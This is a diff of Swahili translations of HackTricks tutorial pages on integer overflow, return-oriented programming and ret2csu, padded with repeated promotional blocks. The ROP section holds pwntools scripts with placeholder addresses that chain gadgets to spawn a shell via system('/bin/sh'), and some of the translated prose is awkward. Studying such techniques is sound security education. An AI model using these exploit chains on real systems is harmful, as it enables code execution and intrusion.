* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
```python
@ -148,6 +150,7 @@ format_string.execute_writes()
# control the parameters passed to printf to execute arbitrary code.
P.interactive()
```
<details>
@ -158,7 +161,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,4 +1,4 @@
# Kuzidi Kwa Nambari
# Kuzidi kwa Nambari za Integer
<details>
@ -6,17 +6,17 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
- Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
- Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
- Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
- **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Katikati ya kuzidi kwa nambari kuna kikomo kilichowekwa na **ukubwa** wa aina za data katika programu ya kompyuta na **utafsiri** wa data.
Katikati ya **kuzidi kwa nambari za integer** kuna kikomo kilichowekwa na **ukubwa** wa aina za data katika programu ya kompyuta na **utafsiri** wa data.
Kwa mfano, **nambari isiyosaini ya biti 8** inaweza kuwakilisha thamani kutoka **0 hadi 255**. Ikiwa unajaribu kuhifadhi thamani 256 katika nambari isiyosaini ya biti 8, itazunguka hadi 0 kutokana na kikomo cha uwezo wake wa kuhifadhi. Vivyo hivyo, kwa **nambari isiyosaini ya biti 16**, ambayo inaweza kushikilia thamani kutoka **0 hadi 65,535**, kuongeza 1 hadi 65,535 kutazungusha thamani kurudi 0.
@ -24,7 +24,7 @@ Zaidi ya hayo, **nambari iliyosainiwa ya biti 8** inaweza kuwakilisha thamani ku
### Thamani Kubwa
Kwa **mambo ya hatari ya wavuti** ni muhimu sana kujua thamani kubwa zinazoungwa mkono:
Kwa **maburuzi ya wavuti** yanaweza kuwa ya kuvutia kujua thamani kubwa zinazoungwa mkono:
{% tabs %}
{% tab title="Rust" %}
@ -45,7 +45,7 @@ println!("{}", add_result);
{% tab title="Swahili" %}
### Integer Overflow
Wakati mwingine, unaweza kujikuta unakabiliwa na shida ya kipekee inayoitwa integer overflow. Hii hutokea wakati thamani ya integer inapozidi kiwango chake kinachoruhusiwa. Kwa mfano, ikiwa unatumia integer ya 8-bit (ambayo inaweza kuhifadhi thamani kati ya 0 na 255), ikiwa thamani inaongezeka zaidi ya 255, basi itarudi nyuma na kuanza kuhesabu kutoka 0 tena. Hii inaweza kusababisha matokeo yasiyotarajiwa na inaweza kutumiwa kama njia ya kuvunja programu. Kwa hiyo, ni muhimu kuzingatia uwezekano wa integer overflow wakati wa kuandika na kupima programu zako.
Kuzidi kwa nambari ni hali ambapo thamani ya nambari inayohitajika kuhifadhiwa ni kubwa kuliko uwezo wa aina ya data inayotumiwa kuihifadhi. Hii inaweza kusababisha thamani kubwa kugeuka na kuwa thamani hasi au thamani ndogo kugeuka na kuwa thamani kubwa. Kwa mfano, katika C programming, kuzidi kwa nambari inaweza kusababisha udanganyifu wa kumbukumbu au uwezekano wa kutekelezwa kwa nambari ya hatari. Tahadhari inapaswa kuchukuliwa wakati wa kushughulikia operesheni za kuzidi kwa nambari ili kuzuia mashambulizi ya kimtandao.
{% endtab %}
```c
#include <stdio.h>
@ -104,12 +104,12 @@ printf("Processed Input is within range: %u\n", processedInput);
return 0;
}
```
Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itakuwa inachukuliwa kama nambari kubwa isiyosainiwa kutokana na jinsi thamani za binary zinavyochukuliwa, hivyo inaweza kusababisha tabia isiyotarajiwa.
Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itakuwa inachukuliwa kama nambari kubwa isiyosainiwa kutokana na jinsi thamani za binary zinavyochukuliwa, hivyo kusababisha tabia isiyotarajiwa.
### Mifano Mingine
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Programu inathibitisha tu byte ya mwisho ya nambari ili kuhakiki ukubwa wa kuingia, hivyo ni rahisi kuongeza ukubwa wowote ikiwa tu byte ya mwisho iko ndani ya kikomo kilichoruhusiwa. Kisha, kuingia kunasababisha kujazwa kwa buffer lililodhulumiwa na ret2win.
* Programu inathibitisha tu byte ya mwisho ya nambari ili kuhakiki ukubwa wa kuingia, hivyo ni rahisi kuongeza ukubwa wowote ikiwa tu byte ya mwisho iko ndani ya upeo ulioruhusiwa. Kisha, kuingia kunasababisha kujazwa kwa buffer lililodukuliwa na ret2win.
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
* Kwa kupewa jozi ya nambari, tafuta kutumia z3 nambari mpya ambayo ikiongezwa na ya kwanza itatoa ya pili:&#x20;
@ -126,9 +126,9 @@ Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itakuwa inachukuliwa ka
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,8 +1,8 @@
# ROP - Programu ya Kurudi kwa Mwelekeo
# ROP - Return Oriented Programing
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -10,44 +10,48 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## **Maelezo Msingi**
**Programu ya Kurudi kwa Mwelekeo (ROP)** ni mbinu ya kudukua ya juu inayotumika kuzunguka hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, muhusika anatumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa **"gadgets"**. Kila gadget kawaida hukamilika na maagizo ya `ret` na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kupuuza ulinzi wa NX/DEP.
**Return-Oriented Programming (ROP)** ni mbinu ya kisasa ya udukuzi inayotumika kuzunguka hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, muhusika anatumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa **"gadgets"**. Kila gadget kawaida hukamilika na maagizo ya `ret` na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kupuuza ulinzi wa NX/DEP.
### Jinsi ROP Inavyofanya Kazi
1. **Udukuzi wa Mwelekeo wa Kudhibiti**: Kwanza, muhusika anahitaji kudhibiti mwelekeo wa programu, kwa kawaida kwa kudukua kijaza kwa kubadilisha anwani iliyohifadhiwa ya kurudi kwenye rundo.
2. **Unganishaji wa Gadgets**: Mhusika kisha kwa uangalifu huchagua na kuunganisha gadgets kutekeleza hatua zinazotakiwa. Hii inaweza kuhusisha kuweka vigezo kwa wito wa kazi, kuita kazi (k.m., `system("/bin/sh")`), na kushughulikia usafi au operesheni zingine zinazohitajika.
3. **Utekelezaji wa Mzigo wa Data**: Wakati kazi inayoweza kudukuliwa inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.
1. **Udukuzi wa Mwelekeo wa Udhibiti**: Kwanza, muhusika anahitaji kuchukua mwelekeo wa udhibiti wa programu, kwa kawaida kwa kutumia kosa la kujaza kijazo kubadilisha anwani iliyohifadhiwa ya kurudi kwenye rundo.
2. **Uteuzi wa Gadgets**: Muhusika kisha kwa uangalifu huchagua na kuunganisha gadgets kutekeleza hatua zinazotakiwa. Hii inaweza kuhusisha kuweka vigezo kwa wito wa kazi, kuita kazi (k.m., `system("/bin/sh")`), na kushughulikia usafi au operesheni zingine zinazohitajika.
3. **Utekelezaji wa Mzigo wa Data**: Wakati kazi inayoweza kudhurika inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.
## Mnyororo wa ROP kwa Mfano wa x86
### Vyombo
Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) au moja kwa moja kutoka kwa **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## Mnyororo wa ROP kwenye Mfano wa x86
### **Mbinu za Kuita x86 (biti 32)**
* **cdecl**: Mpigaji anasafisha rundo. Vigezo vya kazi vinapigwa kwenye rundo kwa mpangilio wa kurudi (kulia-kushoto). **Vigezo vinapigwa kwenye rundo kutoka kulia kwenda kushoto.**
* **cdecl**: Mpigaji anasafisha rundo. Vigezo vya kazi vinapigwa kwenye rundo kwa mpangilio wa kurudi nyuma (kulia-kushoto). **Vigezo vinapigwa kwenye rundo kutoka kulia kwenda kushoto.**
* **stdcall**: Kama cdecl, lakini mpokeaji anahusika na kusafisha rundo.
### **Kupata Gadgets**
Kwanza, hebu tuchukulie tumetambua gadgets muhimu ndani ya binary au maktaba zilizopakiwa. Gadgets tunayovutiwa nayo ni:
Kwanza, hebu tuchukulie tumetambua gadgets muhimu ndani ya faili ya binary au maktaba zilizopakiwa. Gadgets tunayovutiwa nayo ni:
* `pop eax; ret`: Gadget hii inapiga thamani ya juu ya rundo kwenye rejista ya `EAX` na kisha kurudi, kuruhusu kudhibiti wa `EAX`.
* `pop ebx; ret`: Kama hapo juu, lakini kwa ajili ya rejista ya `EBX`, ikiruhusu kudhibiti wa `EBX`.
* `mov [ebx], eax; ret`: Inahamisha thamani katika `EAX` kwenye eneo la kumbukumbu linaloelekezwa na `EBX` kisha kurudi.
* `pop eax; ret`: Gadget hii inapiga nje thamani ya juu ya rundo kwenye rejista ya `EAX` na kisha kurudi, kuruhusu kudhibiti `EAX`.
* `pop ebx; ret`: Kama hapo juu, lakini kwa ajili ya rejista ya `EBX`, ikiruhusu kudhibiti `EBX`.
* `mov [ebx], eax; ret`: Inahamisha thamani katika `EAX` kwenye eneo la kumbukumbu linaloelekezwa na `EBX` kisha kurudi. Mara nyingi huitwa **gadget ya kuandika-nini-wapi**.
* Kwa kuongezea, tuna anwani ya kazi ya `system()` inayopatikana.
### **Mnyororo wa ROP**
Kwa kutumia **pwntools**, tunajiandaa rundo kwa utekelezaji wa mnyororo wa ROP kama ifuatavyo lengo likiwa kutekeleza `system('/bin/sh')`, angalia jinsi mnyororo unavyoanza na:
Kwa kutumia **pwntools**, tunajiandaa rundo kwa utekelezaji wa mnyororo wa ROP kama ifuatavyo kwa lengo la kutekeleza `system('/bin/sh')`, angalia jinsi mnyororo unavyoanza na:
1. Maagizo ya `ret` kwa madhumuni ya upangaji (hiari)
2. Anwani ya kazi ya `system` (tukidhani ASLR imelemazwa na libc inayojulikana, habari zaidi katika [**Ret2lib**](ret2lib/))
3. Nafasi ya anwani ya kurudi kutoka kwa `system()`
4. Anwani ya string ya `"/bin/sh"` (parameta kwa kazi ya system)
4. Anwani ya mfuatano wa `"/bin/sh"` (parameta kwa kazi ya system)
```python
from pwn import *
@ -59,7 +63,7 @@ p = process(binary.path)
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadcode
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
@ -85,15 +89,15 @@ p.interactive()
### **Mifumo ya Kuita x64 (64-bit)**
* Hutumia **System V AMD64 ABI** kwenye mifumo inayofanana na Unix, ambapo **vigezo vya kwanza sita vya nambari au pointa hupitishwa kwenye rejista `RDI`, `RSI`, `RDX`, `RCX`, `R8`, na `R9`**. Vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi huwekwa kwenye `RAX`.
* Mfumo wa kuita wa **Windows x64** hutumia `RCX`, `RDX`, `R8`, na `R9` kwa vigezo vinne vya kwanza vya nambari au pointa, na vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi huwekwa kwenye `RAX`.
* Hutumia **System V AMD64 ABI** kwenye mifumo inayofanana na Unix, ambapo **vigezo vya kwanza sita vya nambari au pointa hupitishwa kwenye rejista `RDI`, `RSI`, `RDX`, `RCX`, `R8`, na `R9`**. Vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye `RAX`.
* Mfumo wa kuita wa **Windows x64** hutumia `RCX`, `RDX`, `R8`, na `R9` kwa vigezo vinne vya kwanza vya nambari au pointa, na vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye `RAX`.
* **Rejista**: Rejista za 64-bit ni pamoja na `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, na `R8` hadi `R15`.
#### **Kupata Vifaa vya Kutekeleza**
#### **Kupata Gadgets**
Kwa madhumuni yetu, tuzingatie vifaa vitakavyoturuhusu kuweka rejista ya **RDI** (kupitisha herufi **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua vifaa vifuatavyo:
* **pop rdi; ret**: Hupokea thamani ya juu ya steki kwenye **RDI** na kisha kurudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
* **pop rdi; ret**: Hupakua thamani ya juu ya steki kwenye **RDI** na kisha kurudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
* **ret**: Kurudi kwa kawaida, inayofaa kwa upangilio wa steki katika hali fulani.
Na tunajua anwani ya kazi ya **system()**.
@ -102,7 +106,7 @@ Na tunajua anwani ya kazi ya **system()**.
Hapa chini ni mfano ukitumia **pwntools** kuweka na kutekeleza mnyororo wa ROP ukiwa na lengo la kutekeleza **system('/bin/sh')** kwenye **x64**:
```python
pythonCopy codefrom pwn import *
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
@ -138,30 +142,30 @@ p.interactive()
Katika mfano huu:
* Tunatumia kifaa cha **`pop rdi; ret`** kuweka **`RDI`** kwa anwani ya **`"/bin/sh"`**.
* Tunaruka moja kwa moja kwenda kwa **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** katika mnyororo.
* Tunaruka moja kwa moja kwa **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** katika mnyororo.
* **`ret_gadget`** hutumiwa kwa upangilio ikiwa mazingira ya lengo yanahitaji, ambayo ni ya kawaida zaidi katika **x64** kuhakikisha upangilio sahihi wa stak kabla ya kuita kazi.
### Upangilio wa Stak
**ABI ya x86-64** inahakikisha kuwa **stak ina upangilio wa byte 16** wakati maagizo ya **wito** yanatekelezwa. **LIBC**, kuboresha utendaji, **inatumia maagizo ya SSE** (kama **movaps**) ambayo yanahitaji upangilio huu. Ikiwa stak haiko sawa (maana **RSP** sio maradufu ya 16), wito kwa kazi kama **system** utashindwa katika mnyororo wa **ROP**. Ili kusahihisha hili, tuongeze tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
**ABI ya x86-64** inahakikisha kuwa **stak ina upangilio wa byte 16** wakati maagizo ya **call** yanatekelezwa. **LIBC**, kwa kuboresha utendaji, **inatumia maagizo ya SSE** (kama **movaps**) ambayo yanahitaji upangilio huu. Ikiwa stak haiko sawa (maana **RSP** sio maradufu ya 16), wito kwa kazi kama **system** utashindwa katika **mnyororo wa ROP**. Ili kusahihisha hili, tuongeze tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
## Tofauti Kuu kati ya x86 na x64
{% hint style="success" %}
Kwa kuwa x64 hutumia rejista kwa hoja za kwanza chache, mara nyingi inahitaji vifaa vichache kuliko x86 kwa wito rahisi wa kazi, lakini kupata na kuunganisha vifaa sahihi kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa **x64** hutoa fursa na changamoto kwa maendeleo ya kutumia udhaifu, hasa katika muktadha wa Programu ya Kurudi kwa Mwelekeo (ROP).
Kwa kuwa **x64 inatumia rejista kwa hoja za kwanza chache**, mara nyingi inahitaji vifaa vichache kuliko x86 kwa wito rahisi wa kazi, lakini kupata na kuunganisha vifaa sahihi kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa **x64** hutoa fursa na changamoto kwa maendeleo ya kutumia, haswa katika muktadha wa Return-Oriented Programming (ROP).
{% endhint %}
## Kinga Dhidi ya ROP
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Kinga hizi hufanya iwe ngumu kutumia ROP kwani anwani za vifaa hubadilika kati ya utekelezaji.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Katika kesi ya BOF, ni muhimu kuzidi kizuizi cha stak canary ili kubadilisha pointa za kurudi kwa unyanyasaji wa mnyororo wa ROP.
* **Uhaba wa Vifaa**: Ikiwa hakuna vifaa vya kutosha, haitawezekana kuzalisha mnyororo wa ROP.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Katika kesi ya BOF, ni muhimu kuzidi kizuizi cha stak ili kubadilisha pointa za kurudi ili kutumia mnyororo wa ROP.
* **Ukosefu wa Vifaa**: Ikiwa hakuna vifaa vya kutosha, haitawezekana kuzalisha mnyororo wa ROP.
## Mbinu za msingi za ROP
Tambua kuwa ROP ni mbinu tu ya kutekeleza nambari ya kupendelea. Kulingana na ROP, mbinu nyingi za Ret2XXX ziliendelezwa:
* **Ret2lib**: Tumia ROP kuita kazi za kupendelea kutoka kwa maktaba iliyojazwa na vigezo vya kupendelea (kawaida kitu kama `system('/bin/sh')`.
* **Ret2lib**: Tumia ROP kuita kazi za kupendelea kutoka kwa maktaba iliyopakiwa na vigezo vya kupendelea (kawaida kitu kama `system('/bin/sh')`.
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
@ -173,7 +177,7 @@ Tambua kuwa ROP ni mbinu tu ya kutekeleza nambari ya kupendelea. Kulingana na RO
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
* **EBP2Ret & EBP Chaining**: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni kama Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia ni muhimu kudhibiti EIP).
* **EBP2Ret & EBP Chaining**: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia ni muhimu kudhibiti EIP).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
@ -183,18 +187,18 @@ Tambua kuwa ROP ni mbinu tu ya kutekeleza nambari ya kupendelea. Kulingana na RO
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
* Biti 64, Pie na nx imewezeshwa, hakuna canary, ongeza RIP na anwani ya `vsyscall` kwa lengo la kurudi kwa anwani inayofuata kwenye stak ambayo itakuwa ongezeko la sehemu ya anwani kupata sehemu ya kazi inayovuja bendera
* Biti 64, Pie na nx imewezeshwa, hakuna kanzu, zidi RIP na anwani ya `vsyscall` kwa kusudi la kurudi kwa anwani inayofuata kwenye stak ambayo itakuwa kanzu ya sehemu ya anwani kupata sehemu ya kazi inayovuja bendera
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,16 +9,16 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
**ret2csu** ni mbinu ya kudukua inayotumiwa unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu.&#x20;
**ret2csu** ni mbinu ya kudukua inayotumiwa unapotaka kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu.&#x20;
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa kwa ajili ya kusimamia jinsi sehemu tofauti za programu zinavyozungumza na nyingine. Kati ya kazi hizi kuna vito vya siri vinavyoweza kutenda kama gadgets zetu zilizopotea, hasa moja inayoitwa `__libc_csu_init`.
